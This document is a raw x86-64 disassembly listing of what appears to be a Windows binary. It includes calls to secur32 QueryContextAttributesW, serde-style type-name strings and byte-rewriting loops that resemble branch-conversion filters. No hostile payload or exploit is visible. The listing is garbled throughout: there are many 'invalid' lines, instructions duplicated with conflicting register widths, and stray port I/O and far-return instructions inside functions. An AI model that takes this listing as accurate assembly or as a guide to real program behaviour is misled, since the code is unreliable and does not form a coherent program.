movaps xmmword [rbp + 0x40], xmm6
and qword [rbp + 0x58], 0
and qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 8
and qword [rbp + 0x68], 0
push 8
pop rdi
push 0x5f086a00
movabs rax, 0x8000000000000000
cmp qword [r9], rax
je case.0x1401525ca.291
mov rdx, qword [r9 + 8]
mov r8, qword [r9 + 0x10]
mov qword [rbp + 0x80], 8
mov dword [rbp + 0x80], 8
add byte [rax], al
add byte [rax - 0x7d], cl
js 0x1401759f6
and qword [rbp + 0x78], 0
lea rcx, [rbp + 0x28]
call fcn.140175745
std
invalid
dec dword [rax - 0x75]
pop rbp
sub byte [rax - 0x7b], cl
invalid
je case.0x1401525ca.291
std
std
invalid
invalid
mov r13, qword [rbp + 0x30]
mov r12, qword [rbp + 0x38]
mov qword [rbp + 0x70], rbx
lea rcx, [rbp + 0x58]
pop r8
call fcn.140174e00
mov rdi, qword [rbp + 0x60]
mov dword [rdi], r13d
mov dword [rdi + 4], 0x12
add byte [rax], al
mov qword [rdi + 8], r12
push 1
pop rcx
jmp 0x140175a38
xor ebx, ebx
xor ecx, ecx
mov rax, rbp
and dword [rax], 0
mov dword [rax + 4], ecx
mov qword [rax + 8], rdi
lea rcx, [rbp + 0x10]
movaps xmmword [rcx], xmm6
adc byte [rdi], cl
sub dword [rcx], esi
movabs rdx, 0x100000000
add dword [rax], eax
add byte [rax], al
lea r8, [rbp - 0x10]
mov qword [r8], rdx
mov qword [r8 + 8], rcx
lea rdx, [rbp + 0x24]
and dword [rdx], 0
invalid
or byte [rax - 0x73], cl
push rbp
and al, 0x83
and al, byte [rax]
invalid
add byte [rcx + 0xf], al
movups xmm0, xmmword [r15 + 0x10]
adc byte [rdi + 0x10], al
lea rcx, [rbp - 0x20]
lea ecx, [rbp - 0x20]
movups xmmword [rcx], xmm0
mov qword [rbp + 0x70], rbx
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], r8
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
and qword [rsp + 0x58], 0
lea rdx, [rbp + 0x40]
and dword [rsp + 0x38], 0
mov qword [rsp + 0x40], rdx
and dword [rsp + 0x28], 0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
and al, 0x30
and dword [rsp + 0x20], 0
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
mov r9d, 0x9819c
pushfq
or dword [rcx], 0x2215ff00
jl 0x140175aba
add byte [0x140205dcd], bh
jne 0x140175ad5
ror byte [rbp - 0x77], cl
invalid
add byte [rbp + 0x18], dh
mov rax, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x48]
movaps xmm0, xmmword [rbp + 0x10]
movups xmmword [rsi + 0x18], xmm0
mov qword [rsi + 8], rcx
or byte [rdx + 1], r13b
or byte [rdx + 1], r13b
add ebx, ebp
or cl, byte [rax - 0x3f]
loopne 0x140175af9
jmp 0x140175adf
shl rax, 0x20
and byte [rax - 0x7d], cl
enter 0x6a02, 2
or rax, 2
push 2
pop rcx
mov qword [rsi], rax
invalid
mov qword [rsi + 0x10], rcx
invalid
mov rdx, qword [rbp + 0x38]
mov rcx, rbx
fld1
invalid
add byte [rax], al
add byte [rax - 0x75], cl
pop r8
fld1
invalid
add byte [rax - 0x75], cl
pop r8
mov rdx, rdi
cli
call fcn.140132e14
movaps xmm6, xmmword [rbp + 0x90]
nop
add byte [rax], al
add byte [rax - 0x7f], cl
add esp, 0x128
add dword [rax], eax
invalid
nop
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
add dword [rax], eax
add byte [rbx + 0x5f], bl
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rdx + 0x80]
in al, dx
js 0x140175b78
lea ebp, [rdx + 0x80]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x60], esi
je 0x140175b5e
invalid
movaps xmmword [rsp + 0x60], xmm6
je 0x140175b5e
invalid
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x38]
call fcn.140175bb8
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x58]
mov eax, dword [rbp + 0x58]
mov rcx, qword [rbp + 0x60]
mov qword [rbp + 0x80], rcx
add byte [rax - 0x77], cl
js 0x140175b6b
sub byte [rsp + 0x60], dh
invalid
add byte [rax - 0x77], cl
js 0x140175b6b
sub byte [rsp + 0x60], dh
and al, 0x60
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rdx + 0x80]
invalid
add byte [rdi], cl
sub dword [rsp + 0x60], esi
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
call fcn.140132e14
movaps xmm6, xmmword [rsp + 0x60]
je case.0x1401495b8.371
invalid
je case.0x1401495b8.371
and al, 0x60
invalid
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
jne 0x140175737
ret
xorps xmm0, xmm0
lea r8, [rsp + 0x20]
movaps xmmword [r8], xmm0
push rdi
ror byte [rbp + rcx*4 + 0x44], 0x24
and byte [rcx + 0xf], al
sub dword [rax], eax
and dword [r8 + 0x10], 0
mov rcx, rdx
mov edx, 4
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
je 0x140175c00
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
jmp 0x140175c12
mov eax, dword [rsp + 0x30]
mov dword [rsi + 0x14], eax
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rsi + 4], xmm0
xor eax, eax
invalid
ror byte [rcx - 0x3b7cb7fa], 0x40
mov dword [rsi], eax
add rsp, 0x40
invalid
pop rsi
pop rsi
ret
in al, dx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x20
and qword [r8], 0
mov edx, 0x53
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
mov edx, eax
xor eax, eax
test edx, edx
setne cl
jne case.0x140158488.159
invalid
xchg byte [rdx + 5], bh
add byte [rcx - 0x7a3fce3e], cl
ror byte [rdi], cl
xchg ebp, eax
sal dword [rbp + 7], 0x48
invalid
mov rdx, qword [rsp + 0x20]
invalid
mov rdx, qword [rsp + 0x20]
jmp 0x140175c4c
shl rdx, 0x20
or rdx, 2
mov al, cl
add rsp, 0x28
ret
push rdi
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
mov rcx, rdx
call fcn.140004f16
test rax, rax
je 0x140175c80
mov r8, rdx
mov rcx, rsi
mov rdx, rax
add rsp, 0x28
invalid
sub byte [rdi + 0x5e], bl
jmp 0x140175c98
invalid
lea rdx, fcn.140009390
mov rcx, rsi
mov r8, rdi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140025840
invalid
call qword [rsi + 0x57]
push rsi
push rdi
push rbx
sub rsp, 0x20
and byte [rcx + rcx*4 - 0x3a], cl
and byte [rcx + rcx*4 - 0x3a], cl
invalid
mov rdi, rdx
mov rbx, rcx
retf
cmp r8, 0xf
clc
emms
invalid
retf
clc
emms
invalid
xor ecx, ecx
cmp rsi, rcx
setne al
je 0x140175cd8
invalid
cmp byte [rdi + rcx], 0x2e
lea rcx, [rcx + 1]
jne 0x140175cb0
add qword [r13 - 0x12], rsi
jmp 0x140175cd8
mov cl, 0x2e
mov rdx, rdi
mov r8, rsi
call fcn.14002c810
cmp rax, 1
sete al
cmp byte [rbx + 8], 0
setne cl
or cl, al
xchg ebp, eax
ror dword [rax], 0xc1
mov byte [rbx + 8], cl
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
mov rdx, rdi
or byte [rax - 0x75], cl
add ecx, dword [rax - 0x75]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x77], cl
cli
mov r8, rsi
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp rax
invalid
loopne 0x140175c87
cli
sete al
cmp byte [rcx + 8], 0
setne r8b
or r8b, al
or al, al
or al, al
mov byte [rcx + 8], r8b
mov rax, qword [rcx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x20]
or byte [rax - 0x75], cl
add dword [rax - 0x75], ecx
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
and byte [rax - 1], cl
jmp rax
invalid
jmp rax
sub esp, 0x78
movzx eax, byte [rcx]
lea r8, [0x14028cba8]
lea eax, [0x14028cba8]
lea eax, [0x14028cba8]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov al, byte [rcx + 1]
lea rcx, [rsp + 0x28]
add dword [r8 - 0x73], ecx
and al, 0x28
mov byte [rcx], al
lea rax, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [rax], rcx
lea rcx, [0x14002b840]
mov qword [rax + 8], rcx
or byte [rax - 0x73], cl
or eax, 0xe7333
or byte [rax - 0x73], cl
or eax, 0xe7333
jmp 0x140175ee2
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x14025d1bb]
jmp 0x140175e18
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14025d19f]
mov r8d, 0xf
jmp 0x140175fde
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14025d18c]
mov r8d, 3
jmp 0x140175fde
mov eax, dword [rcx + 4]
lea rcx, [rsp + 0x28]
mov dword [rcx], eax
lea rax, [rsp + 0x38]
mov qword [rax], rcx
lea rcx, [fcn.14002c730]
mov qword [rax + 8], rcx
lea rcx, str.character__
jmp 0x140175ee2
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14025d18f]
mov r8d, 4
jmp 0x140175fde
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14025d176]
mov r8d, 0xe
jmp 0x140175fde
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + 8]
lea rcx, [rsp + 0x28]
and al, 0x28
mov qword [rcx], rax
lea rax, [rsp + 0x38]
mov qword [rax], rcx
lea rcx, [0x14002fac0]
jmp case.0x14016005d.174
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14025d1ae]
mov r8d, 0xd
jmp 0x140175fde
movsd xmm0, qword [rcx + 8]
lea rax, [rsp + 0x28]
movsd qword [rax], xmm0
lea rcx, [rsp + 0x38]
mov qword [rcx], rax
lea rax, [0x140175fe5]
mov qword [rcx + 8], rax
lea rax, str.floating_point__
lea r8, [rsp + 0x48]
mov qword [r8], rax
mov qword [r8 + 8], 2
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
jmp 0x140175efb
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.unit_valueOption_valuenewtype_structsequencemapenumunit_variantnewtype_varianttuple_variantstruct_variant.0
jmp 0x140175fa2
mov rax, qword [rcx + 8]
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov qword [rcx], rax
lea rax, [rsp + 0x38]
and al, 0x38
add dword [rax - 0x73], ecx
and al, 0x38
mov qword [rax], rcx
lea rcx, [fcn.140024bb0]
lea ecx, [fcn.140024bb0]
lea ecx, [fcn.140024bb0]
mov qword [rax + 8], rcx
lea rcx, str.integer__
out 0x71, al
invalid
invalid
or byte [rax - 0x73], cl
or eax, 0xe71e6
out 0x71, al
invalid
invalid
out 0x71, al
invalid
lea r8, [rsp + 0x48]
mov qword [r8], rcx
mov qword [r8 + 8], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.140006275
nop
add rsp, 0x78
ret
mov rax, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
add rsp, 0x78
jmp r9
movups xmm0, xmmword [rcx + 8]
lea rax, [rsp + 0x28]
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x38]
mov qword [rcx], rax
lea rax, [0x140036fa9]
mov qword [rcx + 8], rax
lea rax, str.string
lea r8, [rsp + 0x48]
mov qword [r8], rax
mov eax, 1
mov qword [r8 + 8], rax
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rax
jmp 0x140175f03
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14025d193]
jmp 0x140175fd8
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.byte_arrayboolean__
mov r8d, 0xa
jmp 0x140175fde
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xe71c7
sbb byte [rax - 0x73], cl
adc eax, 0xe71c7
mov r8d, 8
jmp 0x140175fde
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xe7192
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xe7192
mov r8d, 0xc
add byte [rax - 0x7d], cl
invalid
add rsp, 0x78
jmp rax
and al, 0x30
mov qword [r8], rcx
lea rcx, [0x14002f710]
mov qword [r8 + 8], rcx
lea rcx, [0x140289c40]
or eax, 0x113c34
or eax, 0x113c34
lea rdx, [rsp + 0x40]
mov qword [rdx], rcx
mov ecx, 1
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
invalid
and byte [rax], al
mov qword [rax], rsi
mov byte [rax + 8], 0
mov qword [rdx + 0x10], r8
mov qword [rdx + 0x18], rcx
mov rcx, rax
call fcn.140175c53
test al, al
je 0x140176041
invalid
mov al, 1
jmp 0x140176066
cmp byte [rsp + 0x28], 0
jne 0x140176064
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14025d1c9]
mov r8d, 2
call qword [rax + 0x18]
test al, al
jne 0x14017603d
xor eax, eax
add rsp, 0x70
pop rsi
ret
mov eax, dword [rcx + 8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
invalid
dec dword [rcx - 0x77]
invalid
lea rsi, [rbp - 0x20]
xor edx, edx
lea rbx, str.failed_to_write_the_buffered_data
mov qword [rbp - 0x18], rcx
invalid
cmp rdx, qword [r14 + 0x10]
cmp edx, dword [rsi + 0x10]
jae case.0x140148f55.753
mov byte [r14 + 0x18], 1
mov rcx, r14
mov qword [rbp - 0x10], rdx
call fcn.140197460
mov r8, rdx
mov rcx, qword [rbp - 0x18]
mov rcx, qword [rcx + 0x20]
mov rdx, rax
call fcn.1401958d0
add dword [rax], eax
add dword [rax], eax
mov rdi, rdx
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
mov r14, qword [rbp - 0x18]
mov byte [r14 + 0x18], 0
test rax, rax
invalid
je 0x140176111
sal byte [rsi + rbx + 0x48], 0x89
stc
mov rcx, rdi
call fcn.14017616c
test al, al
je 0x140176126
mov rcx, rsi
call fcn.14001ca7a
mov rdx, qword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
invalid
jmp 0x1401760b0
call 0xc56000fe
push qword [rbp + rcx + 0x48]
mov edx, dword [rbp - 0x10]
test rdi, rdi
je 0x140176123
mov rdx, qword [rbp - 0x10]
add rdx, rdi
jmp 0x1401760b0
xor edi, edi
jmp 0x14017612a
mov rdi, rbx
mov rdx, qword [rbp - 0x10]
mov rcx, r14
call fcn.14018cb10
mov rax, rdi
add rsp, 0x50
invalid
push rax
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x50]
mov rcx, qword [rbp - 0x18]
call 0x1306ceca3
call 0x1306ceca3
call 0x1306ceca3
call fcn.14018cb10
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
adc eax, 0x116a78
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
invalid
mov eax, 0x29
cmovb eax, ecx
cmp eax, 0x23
jmp case.0x140148f55.752
sete al
ret
invalid
test rbx, rbx
je case.0x140148ed1.762
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call fcn.1401958d0
mov r12, rdx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
test rax, rax
je 0x14017620c
mov rcx, r12
call fcn.14017616c
test al, al
je 0x140176232
mov rcx, rdi
call fcn.14001ca7a
jmp 0x1401761d1
test r12, r12
je 0x14017622f
mov rcx, r12
mov ecx, esp
mov rdx, r14
mov r8, rbx
mov r9, r15
call fcn.14001ca54
mov r14, rax
mov rbx, rdx
jmp 0x1401761d1
xor r12d, r12d
jmp 0x140176232
mov r12, r13
mov rax, r12
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
sub rsp, 0x68
mov rdi, rcx
lea rsi, [rsp + 0x20]
mov rcx, rsi
call fcn.140197020
cmp dword [rsi], 2
jne 0x14017627f
mov rax, qword [rsp + 0x28]
mov qword [rdi + 8], rax
mov qword [rdi], 2
jmp 0x14017628c
lea rsi, [rsp + 0x20]
mov ecx, 9
add byte [rax], al
add bl, dh
movsq qword [rdi], qword [rsi]
add byte [rax], al
add bl, dh
movsq qword [rdi], qword [rsi]
add rsp, 0x68
pop rdi
pop rsi
ret
mov r8, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
mov rdx, rax
jmp 0x1401762ae
invalid
add cl, ch
int 0x55
jmp 0x1401762b2
jmp fcn.14002b880
dec dword [rax - 0x77]
ror byte [rbx + rcx*4 + 0x11], 1
mov rcx, qword [r10 + 8]
movabs r11, 0x8000000000000000
add byte [rax + 0x10528b49], al
add byte [rax + 0x10528b49], al
mov r8, qword [rax + 0x20]
mov r9, qword [rax + 0x28]
cmp qword [r10], r11
jne 0x1401762ae
jmp fcn.14002b880
ror byte [rax - 0x75], 1
or dword [rdx + 6], edi
jmp 0x140059481
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
mov rdi, r8
mov rsi, rcx
test rdx, rdx
invalid
je 0x140176391
sal byte [rax + rdi*2 + 0x48], cl
mov ebx, edx
mov rbx, rdx
lea r14, [rbp - 0x18]
mov rcx, r14
mov rdx, rdi
xor r8d, r8d
call fcn.140176485
cmp qword [r14], 0
mov r13, qword [r14 + 8]
jne 0x14017641e
mov r12, qword [rbp - 8]
cmp r13, rdi
jae 0x1401763b6
lea rax, [r13*2]
cmp rax, rdi
cmovbe rax, rdi
xor edx, edx
mov rcx, rax
shr rcx, 0x3c
sete dl
cmp rax, 5
push 4
pop r14
cmovae r14, rax
lea r8, [r14*8]
shl edx, 3
test r13, r13
je 0x1401763bb
lea rax, [r13*8]
mov qword [rbp - 0x18], r12
mov qword [rbp - 8], rax
push 8
pop rax
jmp 0x1401763bd
lea rbx, [rbp - 0x18]
mov rcx, rbx
mov rdx, rdi
mov r8b, 1
call fcn.140176485
cmp qword [rbx], 0
mov r14, qword [rbx + 8]
jne 0x14017642a
mov r12, qword [rbp - 8]
mov rcx, rdi
jmp 0x140176402
mov r14, r13
jmp 0x1401763db
xor eax, eax
lea r9, [rbp - 0x18]
mov qword [r9 + 8], rax
lea r15, [rbp - 0x40]
mov rcx, r15
call fcn.140059531
cmp qword [r15], 0
jne 0x140176436
mov r12, qword [rbp - 0x38]
xor eax, eax
mov rdx, r12
lea rcx, [rax + 1]
cmp rcx, rdi
jae 0x1401763f5
mov qword [rdx], rbx
add rdx, 8
inc rax
jmp 0x1401763e0
test rdi, rdi
je 0x1401763ff
mov qword [rdx], rbx
jmp 0x140176402
mov rcx, rax
mov qword [rsi], r14
mov qword [rsi + 8], r12
mov qword [rsi + 0x10], rcx
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rdx, qword [rbp - 8]
mov rcx, r13
call fcn.1401c66e0
mov rdx, qword [rbp - 8]
mov rcx, r14
call fcn.1401c66e0
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x28], r12
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x30]
call fcn.1401c66e0
ud2
or byte [rax - 0x75], cl
pop rcx
adc byte [rbp + rcx*4 + 0x76], cl
or byte [rax - 0x7d], cl
jmp 0x140176592
sub rbx, 1
jb 0x1401765a5
adc cl, byte [rcx - 0x75]
clc
mov rcx, qword [r14 - 8]
mov rdx, qword [r14]
call fcn.1401765d3
add r14, 0x58
add esi, 0x58
jmp 0x14017658d
mov rcx, qword [rdi]
mov rdx, rsi
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
jmp 0x1401765b9
invalid
test rcx, rcx
je 0x1401765d2
mov rax, rdx
imul r8, rcx, 0x58
mov edx, 8
add byte [rax - 0x77], cl
shr ecx, 0x38
in eax, 0xe8
invalid
ret
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc13948], al
invalid
jmp fcn.14001ca7a
cmp rax, r8
ja 0x14017666d
sal byte [rdi + 0x51], 0x80
jl 0x140176621
cmp byte [rdx + rax + 3], 0xeb
add ebp, ebx
jne 0x140176663
movzx esi, byte [rdx + rax + 2]
movzx edi, byte [rdx + rax + 1]
movzx ebx, byte [rdx + rax]
shl esi, 0x10
shl edi, 8
or edi, esi
or edi, ebx
lea esi, [r9 + rax]
test r10b, r10b
test dl, dl
test dl, dl
cmove esi, r11d
cmove esi, ebx
lea esi, [rsi + rdi*4]
mov edi, esi
shr edi, 2
mov ebx, esi
shr ebx, 0x12
mov byte [rdx + rax + 2], bl
shr esi, 0xa
mov byte [rdx + rax + 1], sil
je 0x140176660
add dword [rax - 0x78], eax
cmp al, 2
add rax, 4
add r11d, 0xfffffffc
ret
cld
jmp 0x140176617
ret
add r9, rax
mov qword [rcx + 8], r9
pop rbx
pop rdi
pop rsi
ret
invalid
cmp rax, r8
ja 0x140176741
movzx esi, byte [rax + rdx + 1]
mov r11d, esi
and r11d, 0xfffffff8
and ebx, 0xfffffff8
add dword [rcx - 0x77], eax
and r11d, 0xfffffff8
and ebx, 0xfffffff8
and ebx, 0xfffffff8
jrcxz 0x1401766a3
cmp r11d, 0xf0
cmp ebx, 0xf0
jne 0x140176738
movzx r11d, byte [rax + rdx + 3]
adc byte [rbx], al
mov edi, r11d
and edi, 0xfffffff8
clc
clc
cmp edi, 0xf8
jne 0x140176738
clc
add byte [rax], al
add byte [rbp + 0x6c], dh
movzx edi, byte [rdx + rax + 2]
movzx ebx, byte [rdx + rax]
sbb al, 2
sbb al, 2
and esi, 7
shl esi, 0x13
shl ebx, 0xb
or ebx, esi
and r11d, 7
jrcxz 0x1401766eb
invalid
shl r11d, 8
shl ebx, 8
or r11d, ebx
or r11d, edi
lea esi, [r9 + rax]
lea esi, [rcx + rax]
lea esi, [rcx + rax]
mov edi, esi
neg edi
test r10b, r10b
cmovne edi, esi
lea r11d, [rdi + r11*2]
mov esi, r11d
shr esi, 1
mov edi, r11d
shr edi, 0x14
and dil, 7
out 7, eax
out 7, eax
or dil, 0xf0
mov byte [rdx + rax + 1], dil
mov byte [rdx + rax + 1], bh
mov byte [rdx + rax + 1], bh
mov edi, r11d
shr edi, 0xc
mov byte [rdx + rax], dil
shr r11d, 9
or r11b, 0xf8
clc
mov byte [rdx + rax + 3], r11b
mov byte [rdx + rax + 3], bl
mov byte [rdx + rax + 3], bl
pop rsp
add al, byte [rbx]
mov byte [rdx + rax + 2], sil
add al, byte [rdx]
add rax, 2
add rax, 2
jmp 0x140176696
add r9, rax
mov qword [rcx + 8], r9
invalid
pop rbx
pop rdi
pop rsi
ret
invalid
add byte [rax], al
add r8, 0xfffffffffffffffc
mov r9, qword [rcx + 8]
mov r10b, byte [rcx + 0x14]
mov r11d, r9d
neg r11d
xor eax, eax
cmp rax, r8
cmp eax, eax
ja 0x1401767ef
movzx esi, byte [rdx + rax + 3]
je 0x14017677c
add al, byte [rbx]
add ecx, dword [rcx + 0x3e783f7]
mov edi, esi
and edi, 3
test dword [rbx - 0x7cfc19], 0xf607501
mov dh, 0x1c
add cl, byte [rcx - 0x3187c21]
cmp edi, 1
jne 0x1401767e5
movzx ebx, byte [rdx + rax]
mov edi, ebx
and edi, 0xfffffffc
cmp edi, 0x48
jne 0x1401767e5
movzx edi, byte [rdx + rax + 2]
mov dh, 0x7c
add al, byte [rdx]
invalid
add cl, byte [rdi]
mov dh, 0x6c
add al, byte [rcx]
movzx ebp, byte [rdx + rax + 1]
shl ebx, 0x18
or ebx, esi
shl ebp, 0x10
invalid
shl ebp, 0x10
adc cl, al
out 8, eax
shl edi, 8
lea esi, [r9 + rax]
test r10b, r10b
cmove esi, r11d
and ebx, 0x30000fc
and ebx, 0x30000fc
cld
add byte [rax], al
add ecx, dword [rcx]
sti
or ebx, edi
or ebx, ebp
add ebx, esi
mov esi, ebx
shr esi, 0x18
out dx, al
sbb byte [rax - 0x80], al
out 3, al
out dx, al
sbb byte [rax - 0x80], al
out 3, al
or sil, 0x48
mov byte [rdx + rax], sil
mov esi, ebx
shr esi, 0x10
mov byte [rdx + rax + 1], sil
mov byte [rdx + rax + 2], bh
jl 0x1401767df
invalid
jl 0x1401767df
add al, byte [rax + 0x5c8801cb]
or bl, 1
mov byte [rdx + rax + 3], bl
pop rsp
add al, byte [rbx]
retf
add dword [rax + 0x4803025c], ecx
add eax, 4
pop rsp
add al, byte [rbx]
add rax, 4
add r11d, 0xfffffffc
jmp 0x140176771
ret
add r9, rax
mov qword [rcx + 8], r9
pop rbx
pop rbp
pop rdi
pop rsi
ret
push rbx
cmp r8, 4
cmp eax, 4
cmp eax, 4
jae case.0x1401494f4.384
xor eax, eax
jmp 0x1401768c3
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x7d], cl
add r8, 0xfffffffffffffffc
mov r9, qword [rcx + 8]
add r8, 0xfffffffffffffffc
mov r9, qword [rcx + 8]
mov r10b, byte [rcx + 0x14]
mov r11d, r9d
mov ebx, ecx
adc al, 0x45
mov ebx, ecx
neg r11d
xor eax, eax
cmp rax, r8
ja case.0x140155442.231
add byte [rax], al
add byte [rax], al
movzx edi, byte [rdx + rax]
movzx esi, byte [rdx + rax + 1]
cmp edi, 0x40
je 0x1401768b4
cmp edi, 0x7f
jne 0x1401768a7
mov ebx, esi
not ebx
test bl, 0xc0
jne 0x1401768a7
movzx ebx, byte [rdx + rax + 2]
movzx ebp, byte [rdx + rax + 3]
add eax, ecx
out 0x18, eax
add eax, ecx
out 0x18, eax
shl esi, 0x10
out 0x10, al
or esi, edi
shl ebx, 8
inc cl
jrcxz 0x140176862
or ebx, esi
or ebx, ebp
lea esi, [r9 + rax]
test r10b, r10b
test dl, dl
cmove esi, r11d
lea esi, [rsi + rbx*4]
mov edi, esi
shr edi, 2
mov ebx, esi
shl ebx, 7
sar ebx, 9
or dword [rcx - 0x3fffff1d], eax
invalid
mov ebp, edi
or dword [rcx - 0x3fffff1d], eax
invalid
sar byte [rdi], 0x89
std
and ebp, 0x3f0000
or ebp, ebx
shr ebx, 0x18
or bl, 0x40
mov byte [rdx + rax], bl
shr ebp, 0x10
mov byte [rdx + rax + 1], bpl
add ecx, eax
out dx, al
or al, byte [rax - 0x78]
je 0x1401768a3
add al, byte [rdx]
add al, byte [rdx]
mov byte [rdx + rax + 3], dil
add rax, 4
add r11d, 0xfffffffc
add al, 0x41
add ebx, 0xfffffffc
jmp 0x140176820
insb byte [rdi], dx
invalid
inc dword [rax - 0x80]
invalid
cmp sil, 0x3f
jbe case.0x1401512b4.323
jmp 0x1401768a7
add r9, rax
mov qword [rcx + 8], r9
invalid
or byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
cmp r8, 5
cmp eax, 5
cmp eax, 5
jae case.0x140155442.224
xor eax, eax
jmp 0x140176a78
mov rbp, rdx
lea rsi, [r8 - 5]
lea esi, [rax - 5]
lea esi, [rax - 5]
mov r10d, dword [rcx + 0x10]
mov r9b, byte [rcx + 0x14]
adc al, 0x48
mov dword [rsp + 0x20], ecx
invalid
adc al, 0x48
